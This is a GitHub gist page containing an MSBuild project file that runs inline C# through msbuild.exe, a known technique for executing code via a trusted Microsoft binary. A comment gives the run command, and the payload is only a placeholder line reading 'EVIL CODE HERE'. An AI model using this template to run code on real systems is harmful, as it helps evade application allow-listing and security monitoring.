-
-
Save TechByTom/602f4db414d0b2a8ee451cdfb4ff8503 to your computer and use it in GitHub Desktop.
MSBuild project definition to execute arbitrary code from msbuild.exe
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml --> | |
<Target Name="Hello"> | |
<SharpLauncher > | |
</SharpLauncher> | |
</Target> | |
<UsingTask | |
TaskName="SharpLauncher" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Using Namespace="System.Net" /> | |
<Using Namespace="System.Reflection" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
Console.WriteLine(" EVIL CODE HERE ! :-) "); | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment